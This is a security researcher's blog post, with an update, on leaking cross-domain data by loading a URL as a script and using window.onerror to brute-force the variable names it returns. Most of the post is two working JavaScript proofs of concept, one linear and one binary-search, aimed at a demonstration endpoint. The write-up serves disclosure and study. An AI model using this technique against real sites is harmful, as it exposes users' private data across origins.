Using window.onerror to Brute-force Cross Domain Data (updated)

by Peter Jaric

Update:
If you haven’t read the post before, please read the original post below.

I got a lot of interesting comments on Twitter about this post, and among them the obvious problem that this approach is slow. Then it hit me, I can do this as a binary search to make it much more efficient. By doing this, I am able to brute force 1 million guesses in about 5 to 10 seconds. It’s not extremely fast, but depending on the application, it can be enough. Here’s the revised code that does this:

// Load a script from a url and then call the callback
// From http://stackoverflow.com/a/950146/185596
function loadScript(url, callback)
{
  var head = document.getElementsByTagName('head')[0];
  var script = document.createElement('script');
  script.type = 'text/javascript';
  script.src = url;
  script.onreadystatechange = callback;
  script.onload = callback;
  head.appendChild(script);
}

function binarySearch() {
  var i, split, next;
  
  if (wasDefined && defined.length === 1) {
		console.timeEnd("binarySearch");
    alert('answer: ' + defined[0]);
  } else if (!wasDefined && notDefined.length === 1) {
		console.timeEnd("binarySearch");
    alert('answer: ' + notDefined[0]);
  } else {
    // Remove the previously checked secrets
    for (i = 0; i < defined.length; i++) {
      delete window[defined[i]];
    }
		
		// No we want to go on checking the defined variables if the
		// secret was defined or the undefined variables if the secret was
		// not defined.
    next = wasDefined ? defined : notDefined;

		// Split the array in two halves, one that we will define (in the
		// global object), and one that we will not define.
    split = Math.floor(next.length / 2);
    defined = next.slice(0, split);
    notDefined = next.slice(split, next.length);
    
		// Define the variables from the "defined" array.
    for (i = 0; i < defined.length; i++) {
      window[defined[i]] = 0;
    }
    
		// Assume that we will find the secret in the "defined" array.
		// window.onerror will set wasDefined to false if it is called.
    wasDefined = true;

		// Load the url where the secret is
    loadScript('http://avlidienbrunn.se/example', binarySearch);
  }
}

window.onerror = function() {
  // If we ended up here, we got a ReferenceError. That means the 
	// secret was not defined in the global object.
  wasDefined = false;
  // Suppress the default error handling
  return true;
}


var notDefined = [], defined = [], wasDefined = false;

// For testing the solution, seed with a lot of incorrect guesses
for (i = 0; i < 1000000; i++) {
  notDefined.push('notcorrect' + i);
}

// Add the correct guess somewhere random
notDefined[Math.floor(Math.random() * notDefined.length)] = 'secret2';

// Get rid of any defined properties from previous runs
for (i = 0; i < notDefined.length; i++) {
  delete window[notDefined[i]];
} 

// Run the algorithm
console.time("binarySearch");
binarySearch();

Original post:

Recently I stumbled across a web site that had some user data accessible by a URL and it was returned like this:

value1, value2

I realized that this is valid JavaScript, being an expression with two variable names. I thought it might be possible to guess the names of those two variables and declare them and then fetch the data as a JavaScript via a script tag on another domain. If we then does not get an error, we guessed correctly! We can detect if we get an error with window.error. See further down for code that does this.

Thinking about this, I thought that maybe it is possible to do something similar with ordinary JSON data, and asked a little about it on Twitter. The first answer came from @avlidienbrunn and it made clear that my first idea wasn’t new at all. Earlier this year he had the same idea, but used another way to go about it, without window.error. Later @filedescriptor replied and said that my second idea had worked previously, but not anymore, for security reasons. Clearly, everything has been done already.

Anyway, since I came up with my own way of brute-forcing cross domain data, I thought I should share the code. It is not a very fast method, and I guess someone already thought of it, like back in 1993, but here it is. It uses the same example data as @avlidienbrunn used.

// Load a script from a url and then call the callback
// From http://stackoverflow.com/a/950146/185596
function loadScript(url, callback)
{
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = url;
    script.onreadystatechange = callback;
    script.onload = callback;
    head.appendChild(script);
}

function checkNext() {
  if (success) { 
    alert('answer: ' + secrets[i]); 
  } else {
    // Remove the previously checked secret to save memory
    delete window[secrets[i]]; 
    i++;
    // Define the next secret to check
    window[secrets[i]] = 0; 
    // We'll assume this will be a success. If not, success
    // will be set to false by onerror.
    success = true;
    loadScript('http://avlidienbrunn.se/example', checkNext);
  }
}


var secrets = [ 'secret0', 'secret1', 'secret2', 'secret3' ], 
    success = false,
    i; 

window.onerror = function() {
  // If we ended up here, we got a ReferenceError and then 
  // we know that the current guess  was wrong. 
  success = false;
  // Suppress the default error handling
  return true;
}

// Get rid of any defined properties from previous runs
for (i = 0; i < secrets.length; i++) {
  delete window[secrets[i]]; 
}  

// Start at -1 since checkNext will increase it by 1, to 0
i = -1;
checkNext();